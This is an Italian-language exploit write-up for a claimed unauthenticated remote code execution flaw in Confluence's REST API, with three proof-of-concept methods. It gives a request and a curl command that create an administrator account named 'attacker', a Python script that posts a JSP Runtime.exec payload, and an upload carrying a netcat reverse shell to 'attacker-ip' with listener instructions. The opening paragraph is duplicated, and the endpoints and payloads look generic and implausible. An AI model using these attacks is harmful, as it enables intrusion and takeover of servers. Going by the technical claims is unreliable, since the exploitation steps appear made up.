
Questa vulnerabilità consente a un attaccante non autenticato di eseguire remotamente codice arbitrario su un server Confluence vulnerabile. La vulnerabilità esiste a causa di una validazione impropria dell'input fornito dall'utente nell'API REST di Confluence. Ciò consente a un attaccante di iniettare codice dannoso nel server Confluence, che può poi essere eseguito dal server.
Questa vulnerabilità consente a un attaccante non autenticato di eseguire remotamente codice arbitrario su un server Confluence vulnerabile. La vulnerabilità esiste a causa di una validazione impropria dell'input fornito dall'utente nella REST API di Confluence. Ciò consente a un attaccante di iniettare codice dannoso nel server Confluence, che può poi essere eseguito dal server.
Questa vulnerabilità potrebbe consentire a un attaccante di assumere il controllo completo di un server Confluence vulnerabile. Ciò potrebbe permettere all'attaccante di rubare dati, modificare dati o interrompere la disponibilità del server.
Menzioneremo più di un metodo 1.
1. Identificazione dell'endpoint API vulnerabile:
useremo il seguente endpoint API:
POST /rest/api/user/bulk
2. Creazione di una richiesta dannosa:
Creeremo una richiesta dannosa che include un payload contenente codice dannoso. Questo codice creerà un nuovo utente con privilegi di amministratore.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Invio della richiesta al server:
Useremo lo strumento cURL per inviare la richiesta al server Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Esecuzione del codice dannoso:
Se la richiesta ha successo, il server Confluence eseguirà il codice dannoso. Verrà creato un nuovo utente chiamato "attacker" con privilegi di amministratore. L'attaccante può quindi utilizzare questo account per ottenere accesso al server e averne il pieno controllo.
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Invia la richiesta modificata tramite Burp Suite. Controlla la risposta per vedere se il server ha eseguito il payload dannoso. Se la risposta è inaspettata o contiene errori che indicano l'esecuzione di codice, la vulnerabilità è stata rilevata.
Se stai utilizzando un payload per stabilire una reverse shell, assicurati di mettere in ascolto la porta specificata sulla tua macchina locale: nc -lvnp 4444. Se il server si connette alla tua macchina locale, riceverai una reverse shell.